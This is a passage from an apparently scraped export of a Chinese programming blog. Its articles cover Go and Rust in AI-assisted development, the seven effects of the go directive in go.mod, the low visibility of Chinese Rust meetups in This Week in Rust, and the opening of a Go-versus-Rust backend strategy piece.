意味着语法简单，AI 预测下一个 Token 时的歧义和错误率极低)\n至于 Rust，ESR 将其定位为“终极的降落场”。\n当他需要极其坚固的内存安全保证，且代码的探索期已经结束，进入严肃的生产部署阶段时，他会让 AI 把代码翻译成 Rust。\n“Rust 满足了我的要求——我发现它写起来很麻烦，但读起来基本没问题。”\n时代的阵痛：被 AI 降维打击的传统生态 这场讨论，不仅是对 Go 和 Rust 的赞歌，更是对一些传统“大厂语言”的残酷揭底。\nESR 毫不客气地吐槽了 Python 曾经的混乱（尽管它现在有了类型提示和 uv 等现代工具，情况有所好转）：\n“Python 曾是我的最爱，但在 Python 2 到 Python 3 的灾难性过渡、GIL 导致的并发地狱、以及包管理的混乱之后，我曾对它感到厌倦……如果我现在要写一个比 Python 粘合脚本大得多的东西，我只会耸耸肩，然后直接去用 Go。”\n在推特的评论区，另一位开发者的一句话，道出了更多人的心声：\n“Go 代码的质量，很大程度上是因为 Go 语言本身往往倾向于极高的质量（因为缺乏炫技的空间）。所以 AI 生成的代码，也顺理成章地继承了这种高质量。”\n当一门语言为了迎合人类的“偷懒”和“炫技”而变得越来越复杂时（比如不断叠加新特性的 C++ 和 Java），它在 AI 时代反而会成为一种累赘。\n因为 AI 不需要语法糖，AI 需要的是绝对的清晰和确定性。\n反思：从“写手”到“审查员”的身份跃迁 两位古灰级黑客的这番言论，给所有还在为了“哪种语言的特性更酷炫”而争得面红耳赤的年轻程序员，狠狠地上了一课。\n时代的列车已经呼啸而过。\n当代码生成不再是瓶颈，软件工程师的核心价值，正在不可逆转地从“Writer（编写者）”向“Reader \u0026amp; Reviewer（阅读者与审查者）”迁移。\n在这个新时代，我们评估一项技术的眼光必须升级：\n可审计性（Auditability）大于一切：如果一段代码极其简洁但难以调试，它就是垃圾。Go 语言的“直白”，在 AI 时代成为了最顶级的安全感。 安全性的底座转移：像 Rust 这样通过极其严苛的编译器来保证内存安全的语言，将成为 AI 时代最可靠的“数字基础设施钢筋”。你可能不需要手写它，但你的 Agent 会为你生成它，并由编译器确保它不会在半夜崩溃。 拥抱“机器思维”：放下程序员的“文人相轻”，接受那些对机器友好、对审查友好的“无聊技术”。 小结：向宗师致敬，向未来前行 如果连写了 40 年 C 语言的 Eric S. Raymond，和开创了现代软件工程思维的 Uncle Bob，都能毫不犹豫地放下过去的骄傲，全身心地拥抱 AI、Go 和 Rust。\n我们这些普通开发者，还有什么理由紧抱着那些陈旧的“鄙视链”不放呢？\n手写代码的时代正在落幕，但软件工程的黄金时代，才刚刚开始。\n用 Go 来快速验证和构建业务，用 Rust 来打造坚不可摧的底层，让 AI 成为那个不知疲倦的打字员。这，就是顶级黑客们为我们指明的 2026 年生存法则。\n资料链接：https://x.com/esrtweet/status/2054288478750597593\n今日互动探讨：\n连 Bob 大叔和 ESR 都倒戈了！你同意他们“手写代码时代已结束”、“更看重代码审查的可读性”的观点吗？在日常的 AI 辅助编程中，你觉得哪种语言的体验最好？\n欢迎在评论区分享你的看法！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/05/14/uncle-bob-esr-on-why-we-are-turning-to-go-and-rust-in-the-ai-era/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/uncle-bob-esr-on-why-we-are-turning-to-go-and-rust-in-the-ai-era-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/05/14/uncle-bob-esr-on-why-we-are-turning-to-go-and-rust-in-the-ai-era\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/05/14/uncle-bob-esr-on-why-we-are-turning-to-go-and-rust-in-the-ai-era\"\u003ehttps://tonybai.com/2026/05/14/uncle-bob-esr-on-why-we-are-turning-to-go-and-rust-in-the-ai-era\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在软件工程的浩瀚星河中，有两位堪称“活化石”级别的宗师：\u003c/p\u003e\n\u003cp\u003e一位是 \u003cstrong\u003eEric S. Raymond (ESR)\u003c/strong\u003e，开源运动的先驱，那本被誉为开源圣经的《大教堂与集市》以及《Unix编程艺术(The Art of UNIX Programming)》一书均是出自他手。他是一个写了 40 年 C 语言的硬核黑客。\u003c/p\u003e","title":"AI 时代，软件大师们为什么都倒戈向 Go 和 Rust 了？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/05/13/go-mod-hidden-features-7-secret-switches-in-go-version\n大家好，我是Tony Bai。\n在这个“CV 工程师(复制粘贴工程师)”盛行的时代，很多 Go 开发者在新建项目时，不会使用go mod init来初始化一个模块，而是会熟练地从别的 go.mod 文件里，复制粘贴那行 go 1.xx，或者直接复制一个starter 脚手架Go 工程。我们似乎都默认了go.mod中go 1.xx 的作用——“嗯，就是声明一下我用的 Go 版本嘛，不重要。”\n我们可能会花几天时间去争论 GOMAXPROCS 该设成多少，或者为了一个微小的性能优化而重构代码，但很少有人会去深究这行看似“平平无奇”的指令，到底在 Go 的世界里扮演着怎样的角色。\n但如果我今天告诉你，这行被我们忽视了近 8 年的“魔法咒语”，在 Go 工具链的底层，其实悄悄地控制着多达 7 个维度的编译和运行时行为呢？\n从你能不能用泛型，到 go mod tidy 的工作模式，再到你的程序在生产环境中的默认行为……这一切，都由这行代码说了算。\n最近，我扎进了 Go 语言的源码，试图去解开这个“最熟悉的陌生人”的秘密。而我发现的真相，足以颠覆多数 Gopher 的认知。\n今天，就让我们来一场硬核的“源码考古”，逐一拆解这行 go 指令背后的七大用途。\ngo directive 是什么 go.mod 中的 go directive 格式如下：\ngo 1.21.0 它由 golang.org/x/mod/modfile 包解析，并存储在 modfile.File.Go.Version 字段中。\n// $GOROOT/src/cmd/vendor/golang.org/x/mod/modfile/rule.go type Go struct { Version string // \u0026#34;1.23\u0026#34; Syntax *Line } 有趣的是，如果你的 go.mod 文件里没有这一行（比如一些远古项目），Go 工具链并不会报错，而是会默默地为你应用一个默认值：go 1.16。\n// $GOROOT/src/cmd/go/internal/gover/version.go const DefaultGoModVersion = \u0026#34;1.16\u0026#34; 为什么是 1.16 这个看起来有点奇怪的数字？Go 源码的注释给了我们答案：\n因为 Go 1.17 对模块图的语义进行了重大修改。为了保证对那些没有 go 指令的、极其古老的项目的兼容性，我们必须保守地假设它遵循 Go 1.16 的规则。这个默认值，永远不会再被提高了。\n这背后，体现了 Go 团队对“向后兼容性”近乎偏执的坚守。\n用途一：语言版本的“守门人”（最核心） 这是 go 指令最广为人知、也是最直接的作用：它决定了编译器允许你使用哪些语言特性。\n在 Go 的源码深处，go 命令在编译每个包时，都会将 go.mod 中定义的版本号，通过 -lang 标志，像一道“圣旨”一样传递给编译器。\n// $GOROOT/src/cmd/compile/internal/noder/irgen.go conf := types2.Config{ GoVersion: base.Flag.Lang, // 来自 -lang 标志，由 go.mod 的 go directive 决定 ... } 编译器内部的类型检查器，会用一个名为 allowVersion 的函数，来判断你写的某段代码，是否“越界”使用了当前版本还不支持的“未来语法”。\n// $GOROOT/src/cmd/compile/internal/types2/version.go func (check *Checker) allowVersion(want goVersion) bool { return !check.version.isValid() || check.version.cmp(want) \u0026gt;= 0 } 经典案例：Go 1.22 的 for 循环变量“拨乱反正” Go 1.22 修复了 for 循环变量在闭包中常年为人诟病的“共享变量”问题：\n// go.mod: go 1.21 → 旧语义，所有迭代共享同一变量 // go.mod: go 1.22 → 新语义，每次迭代独立变量 而这个行为的开关，正是由 go 指令严格控制的。\n// 示例： // 当 go.mod 中是 go 1.21 时，以下代码会打印 3 个 \u0026#34;3\u0026#34; // 当 go.mod 中是 go 1.22 时，以下代码会打印 0, 1, 2 funcs := make([]func(), 3) for i := 0; i \u0026lt; 3; i++ { funcs[i] = func() { fmt.Println(i) } } for _, f := range funcs { f() } 这意味着，仅仅是修改 go.mod 里的一行数字，就可能让你的程序的输出结果发生根本性的变化！\n其他受Go 版本控制的语言特性一览 如果你试图在 go 1.21 的模块里写 for i := range 10，编译器会毫不留情地报错，并清晰地告诉你：“检查你的 go.mod 文件！”\n用途二：模块图裁剪(Module Graph Pruning)的“总开关” 这是 Go 1.17 引入的一项重要优化，它彻底改变了 Go 命令解析依赖图的方式，但很多开发者对此却知之甚少。\n在 Go 的源码中，1.17 被定义为一个分水岭：\n// src/cmd/go/internal/gover/version.go ExplicitIndirectVersion = \u0026#34;1.17\u0026#34; // 启用图裁剪的版本 go.mod 中的版本号，将决定你的项目采用哪种依赖图模式：\n// $GOROOT/src/cmd/go/internal/modload/modfile.go func pruningForGoVersion(goVersion string) modPruning { if gover.Compare(goVersion, gover.ExplicitIndirectVersion) \u0026lt; 0 { return unpruned // \u0026lt; 1.17：加载完整传递依赖图 } return pruned // \u0026gt;= 1.17：启用图裁剪 } go \u0026lt; 1.17（完整模式 Unpruned）：\ngo.mod 文件里只需要列出你的直接依赖。 但代价是，每次构建时，Go 命令都需要递归地、完整地加载所有传递依赖（A 依赖 B，B 依赖 C，C 依赖 D……）的 go.mod 文件，构建一个庞大的、完整的依赖图。这在大型项目中，极其缓慢。 go \u0026gt;= 1.17（裁剪模式 Pruned）：\ngo.mod 文件里必须显式地列出所有传递依赖，哪怕它们是间接的。这就是你经常看到的 // indirect 标记的由来。 好处是，Go 命令在构建时，可以“偷懒”，只读取直接依赖的 go.mod 文件，而对那些未真正使用的间接依赖进行“裁剪”，从而极大地加快了构建速度，并增强了构建的可重现性。 # go 1.17+ 的 go.mod 示例：间接依赖被显式列出 require ( github.com/some/direct v1.2.3 github.com/indirect/dep v0.1.0 // indirect ← 1.17+ 才会出现 ) 用途三：all 模式的“结界” go test all 这样的命令，在不同的 Go 版本下，其“all”所覆盖的范围，竟然是不同的！而这个“结界”的开关，同样是 go 指令。\n在源码中，1.16 是另一个分水岭：\n这个改动非常微妙，但影响深远。它意味着在 Go 1.16 之后，go test all 不再会因为某个你八竿子打不着的、间接依赖的测试代码写错了而失败，让 all 模式变得更加聚焦和实用。\n用途四：GODEBUG 运行时行为的“默认存档” 这是 Go 1.21 引入的最具“魔力”，也最危险的一个特性：go 指令，决定了你的程序在生产环境中的 GODEBUG 默认值！\nGo 团队为了在不破坏向后兼容性的前提下，修复一些语言的历史包袱（比如 panic(nil)），引入了 GODEBUG 环境变量。\n当编译器在构建你的 main 包时，它会检查 go.mod 里的版本号，然后将一套与该版本行为相匹配的 GODEBUG 默认值，直接编译进你的二进制文件里。\n// $GOROOT/src/cmd/go/internal/load/godebug.go func godebugForGoVersion(v string) map[string]string { // ... def := make(map[string]string) for _, info := range godebugs.All { if n \u0026lt; info.Changed { def[info.Name] = info.Old // 使用旧版本的默认值 } } return def } 经典案例：\n如果你的 go.mod 写的是 go 1.20，那么你的程序在运行时，会默认 panicnil=1（允许 panic(nil) 这种旧的、不规范的行为）。 但如果你把它改成 go 1.21，那么程序的默认行为就会变成 panicnil=0（panic(nil) 会在运行时直接报错）。 官方文档说得很清楚：\nGo 工具链会修正自己的默认行为，以尽可能地匹配你声明的旧版本。\n这意味着，升级 go 指令，是一项具有潜在风险的操作。 它可能在你不经意间，改变程序的运行时行为。\n用途五：Toolchain 自动切换的“指挥官” 从 Go 1.21 开始，你的电脑上可以同时安装多个 Go 版本。而决定在编译某个特定项目时，到底该用哪个版本的“指挥官”，就是 go 指令。\n当你的 GOTOOLCHAIN 环境变量设为 auto 时，go directive 会触发自动工具链切换。\n// $GOROOT/src/cmd/go/internal/toolchain/select.go if gover.Compare(goVers, minVers) \u0026gt; 0 { gotoolchain = \u0026#34;go\u0026#34; + goVers // ... gover.Startup.AutoGoVersion = goVers // 打印：go: upgrading toolchain to goX.Y.Z (required by go line in go.mod) } 下面是一个示例：\n# go.mod module example.com/myapp go 1.23.0 # 你的电脑当前默认安装的是 go1.21.0 # 当你在这个项目下运行 go build 时…… # → Go 命令会发现版本不匹配，自动去下载并切换到 go1.23.0 工具链！ # 并打印：go: upgrading toolchain to go1.23.0 ... 同时，Go 1.21 还引入了“严格版本约束”：一个 go 1.21+ 的模块，其 go 指令版本，必须 大于或等于 它所有依赖模块的 go 版本。\n// $GOROOT/src/cmd/go/internal/gover/version.go // GoStrictVersion is the Go version at which the Go versions became \u0026#34;strict\u0026#34; // in the sense that every module must have a go version line ≥ all its dependencies. GoStrictVersion = \u0026#34;1.21\u0026#34; 用途六 \u0026amp; 七：Vendor 模式与 go mod tidy 的“幕后推手” 除了上述几大核心用途，go 指令还在一些细节上，扮演着“幕后推手”的角色。\nVendor 模式 从 Go 1.17 开始，go mod vendor 会在 vendor/modules.txt 文件里，为每一个依赖项记录其 go 版本：\n## explicit; go 1.17 这确保了即使在离线 vendor 模式下，编译器也能为每个包应用正确的语言特性。\n# go.mod: go 1.16 → vendor/modules.txt 不含版本信息，统一猜测为 1.16 # go.mod: go 1.17 → vendor/modules.txt 含版本信息，每个包用自己的版本 go mod tidy的行为 go 指令的版本，还会影响 tidy 命令在依赖保留范围、go.sum 校验范围、以及间接依赖分组显示等方面的细微行为。\n1. 保留的依赖范围\n// $GOROOT/src/cmd/go/internal/modcmd/tidy.go // Go versions 1.17 and higher retain more requirements in order to // support lazy module loading. 2. go.sum 的校验范围\n// $GOROOT/src/cmd/go/internal/gover/version.go // TidyGoModSumVersion is the Go version at which \u0026#39;go mod tidy\u0026#39; preserves // go.mod checksums needed to build test dependencies of packages in \u0026#34;all\u0026#34; TidyGoModSumVersion = \u0026#34;1.21\u0026#34; 3. 间接依赖的分组显示\nSeparateIndirectVersion = \u0026#34;1.17\u0026#34; // go \u0026gt;= 1.17：// indirect 依赖单独成块 小结：一行代码背后的“架构演进史” 看到这里，你还会觉得 go 1.xx 只是一行简单的版本声明吗？\n这短短的一行代码，像一根时间线，串联起了 Go 语言从诞生到成熟的整个演进历史。\ngo directive │ ├─ 编译器 -lang 标志 │ └─ 控制语言特性（泛型/loopvar/range整数...） │ ├─ 模块图裁剪模式 │ ├─ \u0026lt; 1.17：unpruned（完整传递依赖图） │ └─ \u0026gt;= 1.17：pruned（显式间接依赖 + 图裁剪） │ ├─ \u0026#34;all\u0026#34; 模式范围 │ ├─ \u0026lt; 1.16：包含外部包的测试依赖 │ └─ \u0026gt;= 1.16：仅主模块的传递导入 │ ├─ GODEBUG 运行时默认值 │ └─ 编译进二进制，影响运行时行为 │ ├─ Toolchain 自动选择（\u0026gt;= 1.21） │ └─ GOTOOLCHAIN=auto 时触发工具链下载/切换 │ ├─ vendor/modules.txt 版本记录（\u0026gt;= 1.17） │ └─ 影响 vendor 模式下的语言版本应用 │ └─ go mod tidy 行为 ├─ 依赖保留范围 ├─ go.sum 校验范围 └─ 间接依赖分组 它既是语言特性的“守门人”，又是模块系统的“总开关”，还是运行时行为的“默认存档”。\n它身上，凝聚了 Go 团队对向后兼容性、工程效率、可重现性这三大核心哲学最深刻的思考与权衡。\n下一次，当你新建一个项目，或者准备升级 go.mod 里的那个版本号时，请务必三思。\n因为你修改的，不仅仅是一个数字，而是你与 Go 工具链之间，一份极其重要、且牵一发而动全身的“契约”。\n今日互动探讨：\n在你的日常Go编程中，你有没有遇到过写错Go version带来的“坑”？你觉得 Go 语言go.mod中的go version用起来怎样？是否还有改进的地方。\n欢迎在评论区分享你的血泪史与感悟！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/05/13/go-mod-hidden-features-7-secret-switches-in-go-version/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/go-mod-hidden-features-7-secret-switches-in-go-version-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/05/13/go-mod-hidden-features-7-secret-switches-in-go-version\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/05/13/go-mod-hidden-features-7-secret-switches-in-go-version\"\u003ehttps://tonybai.com/2026/05/13/go-mod-hidden-features-7-secret-switches-in-go-version\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在这个“CV 工程师(复制粘贴工程师)”盛行的时代，很多 Go 开发者在新建项目时，不会使用go mod init来初始化一个模块，而是会熟练地从别的 go.mod 文件里，复制粘贴那行 go 1.xx，或者直接复制一个starter 脚手架Go 工程。我们似乎都默认了go.mod中go 1.xx 的作用——\u003cstrong\u003e“嗯，就是声明一下我用的 Go 版本嘛，不重要。”\u003c/strong\u003e\u003c/p\u003e","title":"别再瞎写 go.mod 了！一行 go 1.xx，竟藏着 7 个足以颠覆你认知的“秘密开关”"},{"content":"\n本文永久链接 – https://tonybai.com/2026/05/12/the-embarrassing-truth-about-rust-adoption-in-china\n大家好，我是Tony Bai。\n如果只看国内的公众号和社交媒体，你可能会觉得 Rust 在中国IT技术圈已经很火了：大厂在重构核心链路和重写数据工程的基础设施、创业者在搞 Web 3.0和AI 原生开发、甚至连刚毕业的学生都在卷“所有权（Ownership）”。在一片“Rust 必火”的赞歌中，我们似乎已经默认了中国是全球 Rust 生态版图中最强的那一极。\n但真相，往往藏在那些没人注意到的冷数据里。\n最近，我做了一次极其枯燥的工作。我让Claude 翻阅了全球最权威的 Rust 社区周刊——《This Week in Rust》（简称 TWiR） 2025 年全年的所有 53 期内容，重点抓取了其中“Upcoming Events（近期活动）”板块。\n注：可能存在一定幻觉和不准确的地方。\n我想看看，在这一整年里，中国到底举办了多少场能够被国际主流社区感知到的 Rust 技术交流(meetup and conf)。\n结果令我脊背发凉。\n今天，我想撕开这层温情脉脉的“技术繁荣”假象，带大家看看中国 Rust 社区最真实的底色。\n数据重击：中国 Rust 社区的“隐形”之谜 在 2025 年的 53 期 TWiR 中，全球范围内的 Rust 活动如火如荼。\n欧洲：平均每期出现 13 个 活动，全年累计超过 120 场。 北美：平均每期出现 10 个 活动，全年累计超过 130 场。 而中国大陆（CN）呢？ 在整整 53 期里，仅仅出现了 3 期！ 2025 全年 53 期全球Rust技术活动对比柱状图 更讽刺的数据还在后面。如果我们把目光缩到亚洲：\n在 TWiR 的“Asia”板块中，以色列的**特拉维夫（Tel Aviv）**一个城市，全年的出现频次是 11 次。\n是的，你没看错：特拉维夫 \u0026gt; 整个中国大陆 + 中国香港 + 中国台湾省。\n全中国 14 亿人口、数千万程序员，在这个全球最活跃的 Rust 观察窗口中，竟然比不上一个中东城市活跃。\n难道中国程序员不写 Rust 吗？显然不是。那是谁偷走了中国 Rust 社区的“声音”？\n信息茧房：我们在微信群里“自嗨” 为什么中国 Rust 活动在全球视野中几乎消失了？通过一些调研，我发现了一个极其严重的“结构性问题”。\n第一，我们的社区是“内向”且“封闭”的。\n在国外，Rust 开发者习惯在 GitHub、Reddit、Discord、Twitter 或是通过电子邮件订阅列表交流。一旦有 Meetup，他们会第一时间向 TWiR 这种全球通用的周刊提交信息，寻求全球开发者的关注。\n而我们呢？\n我们活跃在微信群、钉钉群、飞书群，或者是在 B站 的某个直播间。\n这些平台，本质上是“信息的黑洞”。 它们无法被搜索引擎抓取，无法被国际社区感知，甚至连跨个群都费劲。我们在一个个封闭的小圈子里讨论着高深的生命周期和异步并发，却对外面的世界“一声不吭”。\n第二，中国开发者正在丧失“国际社区意识”。\n即便是在 2025 年中国 Rust 的两个高光时刻——3 月的 Rust Asia 2025 (香港) 和 9 月的 RustChinaConf 2025 (杭州)，它们的曝光也是极其短暂的。\n2025 全年中国地区Rust技术活动明细 正如一位社区大佬所言：“如果你不在推特和 GitHub 上发声，你就相当于不存在。”\n我们这种“躲进小楼成一统”的行为，正在让中国 Rust 生态沦为全球版图上的一个“暗物质”。\n大厂黑盒：Rust 只是大厂的“私人玩具”？ 还有一个更深层的原因：中国 Rust 应用的“两极分化”极其严重。\n在一极，是像字节跳动（ByteDance）、PingCAP、蚂蚁集团这样的顶级玩家。\n他们拥有极深的技术功底，在核心系统中使用 Rust 已经到了炉火纯青的地步。但问题在于，这些能力被封锁在大厂的围墙之内。他们更倾向于内部的技术内卷，而不是建立开放的、具有影响力的公共社区。\n在另一极，是广大的、依然在 CRUD 泥潭里挣扎的普通开发者。\n对于他们来说，Rust 太难、编译太慢、门槛太高。他们看不到实际的应用案例，找不到线下的交流圈子，只能在网上看着“Rust 必火”的营销号文章陷入焦虑。\n缺乏“中间层”的连接，导致中国 Rust 社区没有持续的、小规模的、日常化的技术碰撞(Meetup)。\n我们只有一年一度的大会，却没有每周一次的 Meetup。这就好比一个只有春晚却没有日常市集的村庄，死气沉沉。\n认清现实后的反思：不要做“Rust 隐士” 编程语言的生命力，不仅取决于它的编译器有多牛逼，更取决于它的社区网络效应。\n当中国的 Rust 开发者集体消失在全球视野中，我们会失去什么？\n失去标准制定的参与权：Rust 的每一个重要 RFC，背后都是全球开发者的博弈。如果我们不在场，我们的业务场景和需求将永远不会被考虑。 失去顶级人才的吸引力：全球的顶尖 Rustacean 会认为中国是一个 Rust 的荒漠，从而减少技术交流与合作。 技术审美的滞后：长期脱离国际主流语境，会导致我们在架构审美和最佳实践上，陷入一种“闭门造车”的狭隘。 小结：打破沉默，重新“出海” Rust 的吉祥物是一只螃蟹（Ferris）。螃蟹虽然有硬壳，但它不应该只生活在自己的小沙洞里。\n在国际视角下的中国 Rust 社区的“冷”，可能并不是用的人少，而是我们**“跑得太慢、声音太小”**。\n如果你正在参与一个 Rust 项目，如果你所在的公司正在筹备一场技术分享，请记住：\n除了发朋友圈，请去 GitHub 提个 PR，去 TWiR 投个稿，去国际社区喊一声：“Hey, we are here!”\n不要让 2026 年的统计数据，依然显示中国是那个“隐形”的国家。\n技术无国界，但影响力的版图，需要每一位开发者用行动去标注。\n资料链接：https://this-week-in-rust.org/blog/archives/index.html\n今日互动探讨：\n看完这份数据，你感到惊讶吗？你觉得是什么阻碍了你参与国际开源社区的讨论？在你的身边，Rust 真的火了吗？\n欢迎在评论区分享你的真心话！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/05/12/the-embarrassing-truth-about-rust-adoption-in-china/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/the-embarrassing-truth-about-rust-adoption-in-china-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/05/12/the-embarrassing-truth-about-rust-adoption-in-china\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/05/12/the-embarrassing-truth-about-rust-adoption-in-china\"\u003ehttps://tonybai.com/2026/05/12/the-embarrassing-truth-about-rust-adoption-in-china\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e如果只看国内的公众号和社交媒体，你可能会觉得 Rust 在中国IT技术圈已经很火了：大厂在重构核心链路和重写数据工程的基础设施、创业者在搞 Web 3.0和AI 原生开发、甚至连刚毕业的学生都在卷“所有权（Ownership）”。在一片“Rust 必火”的赞歌中，我们似乎已经默认了中国是全球 Rust 生态版图中最强的那一极。\u003c/p\u003e","title":"谁说 Rust 在中国火了？扒开 2025 全年数据，我看到了令人尴尬的真相"},{"content":"\n本文永久链接 – https://tonybai.com/2026/05/11/go-vs-rust-backend-architecture-the-2026-strategy\n大家好，我是Tony Bai。\n如果你经常逛各大技术社区，你一定会发现一个永远充满火药味的话题：Go 和 Rust，到底谁才是未来的后端霸主？\n两派的支持者常常吵得不可开交。Go 开发者嘲笑 Rust 编译器像个严厉的教导主任，写个代码能让人掉光头发；Rust 开发者则鄙视 Go 的 GC（垃圾回收）带来的延迟毛刺，觉得它就是个“性能玩具”。\n但在真实的商业战场上，这种“非黑即白”的零和博弈毫无意义。\n最近，海外技术团队 CodeStax.Ai 发表了一篇文章，题目非常霸气：《Rust vs Go：2026 年唯一有意义的后端语言对决》。\n这篇文章没有去纠结语法的优劣，而是直接从企业成本、团队扩张、以及系统演进的宏观视角，给出了一个极具颠覆性，却又务实到令人拍案叫绝的架构结论：\n“用 Go 来构建（Build）系统，用 Rust 来优化（Optimize）系统。”\n今天，我们就来拆解这套现代后端的终极生存哲学，看看顶级的架构师们，是如何在这对“冰与火”的语言中找到完美平衡的。\n无情的现实：每一个后端系统，最终都会撞上“那堵墙” 在讲语言之前，我们必须先认清系统演进的残酷规律。\n当你刚刚启动一个新项目时，一切都很美好。\n你用微服务框架快速拉起几个 API，部署到 AWS 的容器服务（ECS）里，挂上消息队列（SQS）。一切都运转良好：接口响应很快，团队每个星期都能迭代新功能，老板很开心，每月的云服务器账单也完全在可控范围内。\n直到有一天，增长（Growth）发生了。\n流量呈指数级上升。突然之间，原本平稳的系统开始出现各种诡异的症状：\n系统的内存占用越来越大，云账单的增长速度开始远远超过业务的增长速度。 在毫无征兆的流量高峰期，API 出现了莫名其妙的延迟毛刺（Latency Spikes）。 微小的性能低下，在每天几亿次的调用中，被复利放大成了拖垮整个集群的致命瓶颈。 这就是所有后端系统迟早都会撞上的“那堵墙（The 